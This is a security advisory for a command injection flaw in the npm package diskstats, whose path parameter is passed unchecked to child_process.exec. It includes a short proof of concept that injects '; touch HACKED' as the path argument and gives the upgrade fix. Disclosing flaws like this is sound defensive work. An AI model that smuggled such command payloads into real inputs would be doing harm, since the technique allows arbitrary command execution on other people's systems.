Command Injection Affecting diskstats package, versions <0.1.0


Severity

Recommended
0.0
critical
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept

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  • Snyk IDSNYK-JS-DISKSTATS-590099
  • published24 Jul 2020
  • disclosed23 Jul 2020
  • creditd3lla

Introduced: 23 Jul 2020

CVE NOT AVAILABLE CWE-78  (opens in a new tab)

How to fix?

Upgrade diskstats to version 0.1.0 or higher.

Overview

diskstats is a library that uses df to pull disk information such as free space & inode utilization on your system.

Affected versions of this package are vulnerable to Command Injection. The path parameter is used to build the command that is passed to the child_process.exec function without any check.

PoC by Alessio (d3lla)

  1. create a directory for testing

    mkdir poc
    cd poc/
    
  2. install diskstats module: npm i diskstats

  3. create the following PoC JavaScript file (poc.js):

    const diskstats = require('diskstats');
    diskstats.check('; touch HACKED', (err, results) => {});
    
  4. make sure that the HACKED file does not exist: ls

  5. execute the poc.js file: node poc.js

  6. the HACKED file is created: ls

CVSS Scores

version 3.1